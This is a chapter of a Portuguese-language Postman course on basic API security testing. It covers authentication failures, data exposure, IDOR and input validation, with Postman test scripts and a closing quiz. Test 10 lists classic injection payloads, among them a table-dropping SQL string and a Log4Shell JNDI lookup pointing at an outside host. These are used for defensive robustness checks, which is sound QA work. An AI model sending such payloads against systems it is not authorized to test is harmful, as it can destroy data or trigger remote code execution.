Capa do Ebook gratuito Postman na Prática: Testes de API, Coleções, Ambientes e Automação de Rotinas de QA

Postman na Prática: Testes de API, Coleções, Ambientes e Automação de Rotinas de QA

Novo curso

18 páginas

Testes básicos de segurança em APIs: autenticação, exposição de dados e validação de entrada

Capítulo 12

Tempo estimado de leitura: 15 minutos

Audio Icon

Ouça em áudio

0:00 / 0:00

O que são testes básicos de segurança em APIs (e o que eles cobrem)

Testes básicos de segurança em APIs são verificações práticas, executáveis e repetíveis que procuram sinais comuns de falhas de segurança sem exigir um pentest completo. O foco é identificar rapidamente riscos típicos em três frentes: autenticação (como a API prova quem é o cliente), exposição de dados (o que a API devolve e para quem) e validação de entrada (como a API trata dados enviados pelo cliente). No Postman, esses testes podem ser organizados como requests e checks que simulam comportamentos maliciosos simples: tentar acessar recursos sem credenciais, usar credenciais inválidas, forçar acesso a dados de outro usuário, enviar payloads com campos inesperados e inserir valores fora do padrão para ver se a API falha de forma segura.

O objetivo não é “quebrar” a API, e sim confirmar que ela responde de forma previsível e restritiva: negar acesso quando necessário, retornar apenas o mínimo de dados, e rejeitar entradas inválidas com mensagens e códigos adequados. Como resultado, você cria uma rede de segurança para regressões: uma mudança no backend que, por engano, relaxe uma regra de acesso ou passe a retornar dados sensíveis pode ser detectada cedo.

Autenticação: testes de ausência, invalidez e expiração

Teste 1: acesso sem credenciais (missing auth)

Um teste básico e muito efetivo é garantir que endpoints protegidos não funcionem sem credenciais. Na prática, isso significa enviar a mesma request sem header de autenticação e verificar se a API responde com um erro apropriado (tipicamente 401). Esse teste pega falhas como endpoints “esquecidos” sem proteção, ou regras aplicadas apenas no gateway, mas não no serviço interno.

Passo a passo no Postman: duplique uma request que deveria ser protegida (por exemplo, GET /me, GET /orders, GET /users/123). Na cópia, remova o header Authorization (ou o mecanismo equivalente). Envie e valide: status 401 (ou 403, dependendo do padrão da API), e uma mensagem genérica que não revele detalhes internos. Também é importante validar que o corpo não retorna dados do recurso solicitado.

// Exemplo de testes no Postman (aba Tests) para missing auth
pm.test("Deve negar acesso sem autenticação", function () {
  pm.expect(pm.response.code).to.be.oneOf([401, 403]);
});

pm.test("Não deve retornar dados do recurso quando não autenticado", function () {
  const text = pm.response.text();
  pm.expect(text).to.not.include("email");
  pm.expect(text).to.not.include("token");
});

Teste 2: credenciais inválidas (invalid auth)

Além de testar ausência, teste credenciais inválidas. Isso inclui token malformado, token com assinatura inválida (quando aplicável), API key errada, ou Basic com senha incorreta. O ponto aqui é confirmar que a API não aceita “quase certo” e que a resposta não entrega pistas excessivas (por exemplo, “usuário existe, senha errada”).

Continue em nosso aplicativo

Você poderá ouvir o audiobook com a tela desligada, ganhar gratuitamente o certificado deste curso e ainda ter acesso a outros 5.000 cursos online gratuitos.

ou continue lendo abaixo...
Download App

Baixar o aplicativo

Passo a passo no Postman: crie variações do header Authorization. Exemplos: “Bearer abc”, “Bearer {token}x”, “ApiKey 0000”, ou Basic com credenciais erradas. Envie e valide que o status é 401 e que a mensagem é genérica (ex.: “Unauthorized”). Se a API diferencia 401 e 403, mantenha o padrão consistente: 401 para não autenticado/credencial inválida, 403 para autenticado sem permissão.

// Exemplo: validar que a mensagem não revela detalhes
pm.test("Erro de autenticação deve ser genérico", function () {
  const body = pm.response.text().toLowerCase();
  pm.expect(body).to.not.include("senha");
  pm.expect(body).to.not.include("password");
  pm.expect(body).to.not.include("usuário não encontrado");
  pm.expect(body).to.not.include("user not found");
});

Teste 3: token expirado e revogação (expired/revoked)

Um risco comum é a API aceitar tokens expirados por falhas de validação de expiração, ou continuar aceitando tokens revogados (por logout, troca de senha, bloqueio de conta). Mesmo quando você não controla a emissão do token no teste, dá para criar um cenário mínimo: usar um token antigo conhecido (de ambiente de teste) ou simular um token com formato válido, mas expiração passada (quando o backend valida corretamente, ele deve negar).

Passo a passo no Postman: mantenha um token “antigo” salvo apenas em ambiente de QA (nunca em produção) e rode requests críticas com ele. Valide 401 e um erro coerente. Se houver endpoint de logout/revogação, execute logout e tente reutilizar o mesmo token; a API deve negar. Esse teste é valioso para detectar backends que apenas validam assinatura, mas ignoram expiração ou blacklist.

pm.test("Token expirado/revogado deve ser rejeitado", function () {
  pm.expect(pm.response.code).to.be.oneOf([401, 403]);
});

Autorização e exposição de dados: checando vazamentos e acesso indevido

Entendendo o risco: dados demais, para gente demais

Mesmo com autenticação correta, a API pode expor dados sensíveis por dois motivos principais: retornar campos além do necessário (exposição excessiva) ou permitir que um usuário acesse dados de outro (falha de autorização). Em testes básicos, você procura sinais como: retorno de senha (mesmo que hash), tokens, chaves, documentos pessoais, dados financeiros completos, logs internos, IDs internos previsíveis e campos administrativos (isAdmin, roles) que não deveriam ser visíveis.

Um ponto importante: exposição de dados não é só “vazamento óbvio”. Às vezes o problema é sutil, como retornar “passwordHash”, “refreshToken”, “internalNotes”, “costPrice”, “supplierId”, “auditTrail”, ou até “deletedAt” e “createdBy” quando isso ajuda um atacante a mapear o sistema. O teste básico é listar quais campos são aceitáveis para cada endpoint e validar que o retorno não inclui itens proibidos.

Teste 4: checagem de campos sensíveis no response (data exposure)

Passo a passo no Postman: escolha endpoints que retornam perfil, usuários, pedidos, pagamentos, ou qualquer entidade com dados sensíveis. Rode a request como um usuário comum e inspecione o JSON. Em seguida, automatize uma lista de “campos proibidos” para falhar o teste se aparecerem. Isso funciona como um alarme de regressão: alguém adiciona um campo novo no serializer e, sem querer, expõe algo.

// Exemplo: lista de campos proibidos (ajuste para seu domínio)
const forbiddenKeys = [
  "password",
  "passwordHash",
  "salt",
  "refreshToken",
  "accessToken",
  "apiKey",
  "secret",
  "privateKey",
  "cardNumber",
  "cvv"
];

function containsForbiddenKey(obj, key) {
  if (obj === null || obj === undefined) return false;
  if (Array.isArray(obj)) return obj.some(item => containsForbiddenKey(item, key));
  if (typeof obj === "object") {
    if (Object.prototype.hasOwnProperty.call(obj, key)) return true;
    return Object.keys(obj).some(k => containsForbiddenKey(obj[k], key));
  }
  return false;
}

pm.test("Response não deve conter campos sensíveis", function () {
  const json = pm.response.json();
  forbiddenKeys.forEach(k => {
    pm.expect(containsForbiddenKey(json, k), `Campo proibido encontrado: ${k}`).to.equal(false);
  });
});

Teste 5: acesso a recurso de outro usuário (IDOR básico)

Um dos problemas mais frequentes em APIs é o acesso direto inseguro a objetos, quando o cliente consegue trocar um identificador e acessar dados de outra pessoa. Mesmo sem entrar em técnicas avançadas, um teste básico é: com o usuário A autenticado, tentar buscar ou alterar um recurso que pertence ao usuário B. O comportamento esperado é negar com 403 (ou 404 para não revelar existência), e nunca retornar o conteúdo do recurso do outro usuário.

Passo a passo no Postman: tenha dois usuários de teste (A e B). Obtenha um ID de recurso do usuário B (por exemplo, um pedido do B). Depois, autentique como A e faça GET /orders/{idDoB} ou PUT/PATCH/DELETE no mesmo recurso. Valide que a API nega. Se a API retornar 200 com dados do B, você encontrou um problema crítico.

// Exemplo de validação para tentativa de acesso indevido
pm.test("Não deve permitir acesso a recurso de outro usuário", function () {
  pm.expect(pm.response.code).to.be.oneOf([403, 404]);
});

pm.test("Resposta não deve conter dados do recurso alvo", function () {
  const text = pm.response.text();
  pm.expect(text).to.not.include("orderItems");
  pm.expect(text).to.not.include("shippingAddress");
});

Teste 6: enumeração e mensagens que revelam existência

Mesmo quando a API bloqueia o acesso, ela pode revelar informação por diferença de resposta: por exemplo, retornar 403 quando o recurso existe e 404 quando não existe, permitindo que alguém “descubra” IDs válidos. Um teste básico é verificar se a API mantém respostas consistentes para recursos não autorizados, evitando confirmar existência. Nem toda API adota a mesma estratégia, mas é importante que o comportamento seja intencional e documentado.

Passo a passo no Postman: com usuário A, tente acessar um recurso do usuário B (ID válido) e um ID claramente inexistente. Compare status code e formato do erro. Se a política for “não revelar existência”, ambos devem se parecer (por exemplo, 404 em ambos). Se a política for “revelar, mas negar”, então 403 para o válido e 404 para o inexistente, mas com mensagens igualmente genéricas e sem detalhes.

// Exemplo simples: comparar estrutura de erro
pm.test("Erro deve ser consistente e genérico", function () {
  const code = pm.response.code;
  pm.expect(code).to.be.oneOf([403, 404]);
  const body = pm.response.text().toLowerCase();
  pm.expect(body).to.not.include("stack");
  pm.expect(body).to.not.include("exception");
  pm.expect(body).to.not.include("sql");
});

Validação de entrada: rejeitar o inesperado e limitar o perigoso

O que significa validar entrada em API

Validação de entrada é o conjunto de regras que garante que o servidor só aceita dados no formato, tamanho e domínio esperados. Isso inclui: tipos corretos (string, número, boolean), limites (tamanho mínimo/máximo), padrões (regex para e-mail, UUID), listas permitidas (enum), coerência entre campos (data inicial menor que final), e rejeição de campos desconhecidos. Em segurança, a validação reduz a superfície para injeções, bypass de regras de negócio e falhas por parsing.

Em testes básicos, você não precisa explorar todas as classes de ataque. Você quer confirmar que a API: rejeita payloads com campos extras perigosos, não aceita strings gigantes, não aceita tipos errados silenciosamente, não interpreta valores especiais como “null”, “NaN”, “Infinity” de forma inesperada, e não retorna erros internos (500) quando recebe lixo.

Teste 7: tipos errados e coerção perigosa

Um backend pode aceitar “123” onde deveria ser número, ou aceitar “true” como string e tratar como boolean, criando brechas. O teste básico é enviar tipos errados e exigir erro de validação (400 ou 422). Isso é especialmente importante em campos de preço, quantidade, flags de permissão e IDs.

Passo a passo no Postman: pegue um endpoint de criação/atualização e altere alguns campos: número vira string, boolean vira “yes”, array vira objeto, e assim por diante. Envie e valide que a API rejeita com erro de validação, e que o erro aponta o campo (sem expor detalhes internos).

// Exemplo de payload inválido (no body da request)
// {
//   "quantity": "dez",
//   "price": "9.99",
//   "isAdmin": "true"
// }

pm.test("Tipos inválidos devem gerar erro de validação", function () {
  pm.expect(pm.response.code).to.be.oneOf([400, 422]);
});

Teste 8: campos extras e mass assignment

Mass assignment acontece quando o servidor aceita campos que o cliente não deveria controlar, como “role”, “isAdmin”, “status”, “ownerId”, “price”, “discount”, “approved”, “createdBy”. Mesmo que a API ignore esses campos, é importante confirmar esse comportamento. Se a API aceitar e persistir, um usuário pode elevar privilégios ou alterar dados críticos.

Passo a passo no Postman: em uma request de criação/atualização, adicione campos “tentadores” que não fazem parte do contrato público. Depois, faça um GET no recurso criado e verifique se esses campos não foram aplicados. Se o endpoint de GET não retorna o campo, procure outro sinal: por exemplo, se você tentou setar status=APPROVED, verifique se o status real mudou. O teste deve falhar se o servidor aceitar o campo e refletir a mudança.

// Exemplo de teste: garantir que o servidor não aceitou campo indevido
pm.test("Servidor não deve aceitar campos administrativos do cliente", function () {
  const json = pm.response.json();
  // Ajuste conforme o endpoint: aqui assumimos que a resposta retorna o recurso criado/atualizado
  pm.expect(json.isAdmin).to.be.oneOf([undefined, false]);
  pm.expect(json.role).to.not.equal("admin");
});

Teste 9: limites de tamanho e payloads grandes

Campos de texto sem limite podem causar consumo excessivo de memória, logs gigantes, ou até travar serviços. Um teste básico é enviar strings muito longas em campos como “name”, “description”, “address”, “notes” e verificar se a API rejeita de forma controlada (400/413) e rápida. Também é útil testar listas com muitos itens (por exemplo, 10.000 itens em “orderItems”) para ver se há proteção.

Passo a passo no Postman: gere uma string grande no pre-request script e injete no body. Envie e valide que a API responde com erro apropriado e não com 500. Se a API tiver limite de payload, o status pode ser 413 (Payload Too Large). Se a validação for por campo, 400/422.

// Pre-request Script: gerar string grande
const big = "A".repeat(20000);
pm.variables.set("bigText", big);

// Body (raw JSON) usando a variável:
// { "notes": "{{bigText}}" }

// Tests
pm.test("Payload grande deve ser rejeitado com erro controlado", function () {
  pm.expect(pm.response.code).to.be.oneOf([400, 413, 422]);
});

Teste 10: injeções simples (SQL/NoSQL/command) como verificação de robustez

Mesmo sem fazer um pentest, vale rodar alguns payloads clássicos para confirmar que a API não quebra e não retorna erros internos. O objetivo aqui é observar comportamento: a API deve tratar a entrada como dado, não como comando, e responder com erro de validação ou resultado vazio, sem stack trace. Exemplos comuns: inserir aspas, operadores e padrões em campos de busca e login, como "' OR '1'='1". Em APIs com filtros, testar valores como {"$ne": null} (NoSQL) quando o backend aceita JSON diretamente em filtros.

Passo a passo no Postman: escolha endpoints de busca, filtros ou autenticação. Envie entradas com caracteres especiais e padrões de injeção. Valide que a resposta não é 500, não contém mensagens de banco, e não retorna dados indevidos. Se o endpoint é de busca, o resultado pode ser vazio (200 com lista vazia) ou erro de validação (400/422), dependendo do design.

// Exemplo de strings de teste para injeção
const payloads = [
  "' OR '1'='1",
  "\" OR \"1\"=\"1",
  "' ; DROP TABLE users; --",
  "${jndi:ldap://example.com/a}"
];

pm.test("Não deve retornar erro interno com payloads suspeitos", function () {
  pm.expect(pm.response.code).to.not.equal(500);
  const body = pm.response.text().toLowerCase();
  pm.expect(body).to.not.include("syntax error");
  pm.expect(body).to.not.include("sql");
  pm.expect(body).to.not.include("stack trace");
});

Checklist prático para transformar em suíte de segurança no Postman

Como organizar os cenários de forma executável

Para que esses testes virem rotina de QA, transforme cada risco em um cenário repetível: uma pasta de “Security Basics” com requests duplicadas e variações de credenciais e payloads. O importante é que cada request tenha um objetivo claro e asserts que falhem quando houver regressão. Exemplos de organização: uma subpasta “Auth” com missing/invalid/expired; uma subpasta “Data Exposure” com checagem de campos proibidos; e uma subpasta “Input Validation” com tipos errados, campos extras, limites e payloads suspeitos.

  • Auth: negar sem credencial; negar com credencial inválida; negar token expirado/revogado; consistência de mensagens.
  • Data exposure: lista de campos proibidos; checar que endpoints públicos não retornam PII; checar que erros não retornam stack trace.
  • Authorization: tentativa de acesso cruzado entre usuários; tentativa de alteração de recurso alheio; consistência 403/404 conforme política.
  • Input validation: tipos errados; campos extras; tamanhos; payloads suspeitos; rejeição sem 500.

Critérios de aceitação que ajudam a padronizar

Defina critérios simples para cada categoria, para evitar discussões caso a caso. Exemplos: endpoints protegidos sempre retornam 401/403 sem dados; respostas nunca incluem campos da lista proibida; tentativas de acesso a recurso alheio retornam 403/404; payload inválido retorna 400/422 com mensagem genérica; nenhum teste de segurança básica pode resultar em 500; erros não podem conter stack trace, nomes de tabelas, queries, caminhos de arquivo ou detalhes de exceção.

// Exemplo de teste genérico para evitar vazamento de detalhes em erros
pm.test("Erros não devem expor detalhes internos", function () {
  const body = pm.response.text().toLowerCase();
  const forbiddenFragments = [
    "stack",
    "trace",
    "exception",
    "nullpointer",
    "sql",
    "select ",
    "insert ",
    "update ",
    "org.",
    "com.",
    "at "
  ];
  forbiddenFragments.forEach(f => {
    pm.expect(body).to.not.include(f);
  });
});

Agora responda o exercício sobre o conteúdo:

Ao transformar testes básicos de segurança em uma rotina no Postman, qual comportamento esperado melhor indica que a API falha de forma segura ao receber uma requisição para endpoint protegido sem credenciais?

Você acertou! Parabéns, agora siga para a próxima página

Você errou! Tente novamente.

Em testes de missing auth, a API deve negar acesso de forma previsível: 401/403, mensagem genérica e sem retornar dados do recurso. Isso evita vazamento de informações e ajuda a detectar regressões de proteção.

Próximo capitúlo

Data-driven testing no Collection Runner com CSV e JSON

Arrow Right Icon
Baixe o app para ganhar Certificação grátis e ouvir os cursos em background, mesmo com a tela desligada.